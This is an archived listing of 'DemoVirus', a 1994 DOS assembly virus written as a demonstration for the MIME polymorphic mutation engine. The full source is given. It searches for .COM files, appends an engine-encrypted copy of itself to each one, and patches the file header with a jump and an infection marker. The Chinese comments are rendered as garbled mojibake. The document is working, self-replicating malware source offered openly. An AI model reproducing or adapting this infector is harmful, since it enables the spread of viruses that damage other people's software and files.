home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / MIME1294.ZIP / DEMOVIR.ASM next >
Assembly Source File  |  1994-12-01  |  6KB  |  143 lines

  1. ; * The DemoVirus (for MIME v1.0) *
  2. ; * has written by ArChung Lai    *
  3. ; * in Chung-Li,Taiwan            *
  4.  
  5. .286
  6. .model  small
  7. .code
  8.         extrn   mime:near
  9.         extrn   emime:near
  10. start:
  11.         jmp     short begin
  12.  
  13. wrt_dat         db      0aeh,         0e9h
  14.                 ;       ^^^^          ^^^^
  15.                 ;       scasb(mark)   jmp xxxx
  16.  
  17. jmp_addr        dw     ?
  18.  
  19. head_dat        db      4 dup(?)                ; ½Oªs│Q╖P¼V└╔«╫╢}└Y¬║ 4 bytes
  20. find_name       db      '*.com',0               ; Ñu╖P¼V com └╔
  21. dta_buf         db      30h dup(?)              ; dta ╕Ω«╞░╧
  22.  
  23. begin:
  24.         call    get_adr
  25. get_adr:
  26.         pop     si                      ; ▒o¿∞░╛▓╛╢q
  27.         sub     si, offset get_adr
  28.         mov     di, si
  29.         and     di, 0fff0h              ; ┼▄ª¿ 16 ¬║¡┐╝╞ (½K⌐≤¡½⌐wª∞)
  30.         mov     ax, di
  31.         mov     cl, 4
  32.         shr     ax, cl                  ; ┤½║Γª¿ seg
  33.         mov     cx, cs
  34.         add     ax, cx                  ; ▒o¿∞¡½⌐wª∞½ß¬║ cs ¡╚
  35.         push    ax
  36.         mov     ax, offset retf_to
  37.         push    ax
  38.         mov     cx, offset emime        ; cx=╛π¡╙»f¼r¬°½╫ (Ñ]ºt mime ╝╥▓╒)
  39.         cld
  40.         rep     movsb                   ; ╖h▓╛¿∞ÑH 16 ¼░¡┐╝╞¬║░╛▓╛ª∞º}
  41.         retf                            ; ¡½⌐wª∞ (╕⌡¿∞╣∩╗⌠½ß¬║ª∞º})
  42. retf_to:
  43.         push    cs
  44.         pop     ds                      ; ds=cs
  45.         mov     si, offset head_dat     ; si ½ⁿªV│Q╖P¼V¬║└╔«╫╢}└Y╕Ω«╞
  46.         xor     di, di                  ; di=0
  47.         cmp     byte ptr head_dat, 0    ; ªp¬G¼O╜s─╢½ß▓─ñ@ª╕░⌡ªµ½h head_dat=0
  48.         je      first                   ; ªp¬G¼O╜s─╢½ß▓─ñ@ª╕░⌡ªµ½h╖| jump
  49.         mov     di, 0100h                ; di=100h (com └╔▒q 100h ╢}⌐l░⌡ªµ)
  50.         push    di                      ; save di
  51.         movsw                           ; ½∞┤_¡∞└╔«╫╢}└Y
  52.         movsw                           ; ½∞┤_¡∞└╔«╫╢}└Y
  53.         pop     di                      ; load di
  54. first:
  55.         push    es                      ; push psp-seg
  56.         push    di                      ; di=0 ¬╜▒╡╡▓º⌠   di=100h ░⌡ªµ¡∞└╔«╫
  57.         push    es                      ; ½Oªs psp ░╧¼q¡╚
  58.         mov     ah, 1ah
  59.         mov     dx, offset dta_buf
  60.         int     21h                     ; │] dta ¿∞ dta_buf
  61.         mov     si, 3                    ; ñ@ª╕╖P¼VñT¡╙ com └╔
  62.         mov     ah, 4eh
  63.         mov     cx, 3
  64.         mov     dx, offset find_name
  65.         int     21h                     ; ╖j┤M└╔«╫ (▓─ñ@ª╕)
  66.         jnc     to_infect               ; ªp¬GºΣ¿∞½h jump to_infect (╖P¼V)
  67.         jmp     short find_end          ; º_½h jump find_end
  68. find_loop:
  69.         mov     ah, 4fh
  70.         int     21h
  71.         jc      find_end                ; ªp¬GºΣñú¿∞ com └╔½h jump find_end
  72. to_infect:
  73.         call    infect                  ; ╖P¼V
  74.         dec     si
  75.         jnz     find_loop               ; ¡Y┴┘¿S╖P¼V¿∞ñT¡╙└╔«╫½h jump find_loop
  76. find_end:
  77.         pop     es                      ; ¿·ª^ psp ░╧¼q¡╚
  78.         push    es
  79.         pop     ds                      ; ds=es
  80.         mov     dx, 80h
  81.         mov     ah, 1ah
  82.         int     21h                     ; │]ª^ dta ¿∞ 80h
  83.         retf                            ; ░⌡ªµ¡∞└╔«╫ ⌐╬╡▓º⌠╡{ªí(ªp¬G▓─ñ@ª╕░⌡ªµ)
  84.  
  85. infect  proc
  86.         mov     dx, offset dta_buf+1eh  ; dx ½ⁿªV dta ññºΣ¿∞¬║ com └╔ªW
  87.         mov     ax, 3d02h
  88.         int     21h                     ; ╢}└╔ (┼¬╝gñΦªí)
  89.         xchg    bx, ax                  ; bx=file handle
  90.         mov     ah, 3fh
  91.         mov     cx, 4
  92.         mov     dx, offset head_dat
  93.         int     21h                     ; ┼¬¿· 4 bytes ¿∞ head_dat
  94.         inc     si                      ; si=si+1
  95.         cmp     byte ptr head_dat, 0aeh
  96.         je      close_file              ; ª╣ com └╔ñw╕g│Q╖P¼V╣L½h jump
  97.                                         ; ª╣«╔ si=si+1 ⌐╥ÑH¡nª│╖P¼Vñ~ si=si-1
  98.         dec     si                      ; si=si-1 (ºΓ si ┤εª^¿╙)
  99.         push    si
  100.         xor     cx, cx
  101.         xor     dx, dx
  102.         mov     ax, 4202h
  103.         int     21h                     ; ▓╛░╩┼¬╝g½ⁿ╝╨¿∞└╔«╫º└
  104.         push    bx                      ; ½Oªs bx (file handle)
  105.         mov     bx, ax                  ; bp=ax=ª╣ com ñº└╔«╫¬°½╫
  106.         add     bx, 100h                ; bx=100 (com └╔╝╥ªí)
  107.         sub     ax, 4                   ; ¡p║Γ jump ░╛▓╛ª∞º}
  108.         mov     jmp_addr, ax
  109.         mov     ax, offset emime+0fh    ; ªhÑ[ñJ 0fh ÑHºK┬╨╗\¿∞»f¼r╡{ªíº└ñ┌
  110.         mov     cl, 4
  111.         shr     ax, cl
  112.         mov     cx, cs
  113.         add     ax, cx
  114.         mov     es, ax                  ; es=ÑH»f¼r╡{ªí½ß¡▒¼░¬┼╢í¬║░╧¼qª∞º}
  115.         mov     cx, offset emime        ; cx=»f¼r¬°½╫ (Ñ]ºt mime ╝╥▓╒)
  116.                                         ; ñ]┤N¼O¡n│Q╜s╜X¬║╡{ªí¬°½╫
  117.         mov     si, offset start
  118.         mov     di, 0
  119.         call    mime                    ; call ┼▄┼Θ╝╥▓╒
  120.         pop     bx                      ; ¿·ª^ file handle
  121.         mov     ah, 40h
  122.         int     21h                     ; ╝gñJ ªhº╬╕╤╜X╡{ªí ⌐M │Q╜s╜X½ß¬║»f¼r
  123.                                         ; ¿∞└╔º└
  124.         push    cs
  125.         pop     ds                      ; ds=cs (ª]¼░ ds ╖|│Qº∩┼▄)
  126.         xor     cx, cx
  127.         xor     dx, dx
  128.         mov     ax, 4200h
  129.         int     21h                     ; ▓╛░╩┼¬╝g½ⁿ╝╨¿∞└╔└Y
  130.         mov     ah, 40h
  131.         mov     cx, 4
  132.         mov     dx, offset wrt_dat
  133.         int     21h                     ; ╝gñJ 4 bytes ¬║ wrt_dat
  134.         pop     si
  135.  
  136. close_file:
  137.         mov     ah, 3eh
  138.         int     21h                     ; ├÷└╔
  139.         ret                             ; ░╞╡{ªí¬≡ª^
  140. infect  endp
  141.  
  142.         end     start
  143.